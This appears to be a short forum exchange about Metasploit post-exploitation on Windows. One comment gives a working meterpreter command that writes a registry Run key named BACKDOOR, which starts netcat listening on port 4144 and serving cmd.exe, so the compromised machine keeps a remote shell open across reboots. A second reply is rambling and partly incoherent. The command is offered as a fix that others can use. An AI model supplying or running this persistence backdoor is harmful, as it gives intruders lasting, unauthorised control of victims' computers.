This is how I managed to get it to work on my setup;
I just moved the position of the " "
reg setval -k HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run -v BACKDOOR -d C:\\Windows\\System32\\nc.exe" -ldp 4144 -e cmd.exe"
Maybe this will work for you also.
your commands will try them tonight I think they work (perhaps in my various tests I've already used!) the fact remains that years after you run the same commands by heart by now you must now change! for my lack of experience seems to be a problem meterpreter shell bye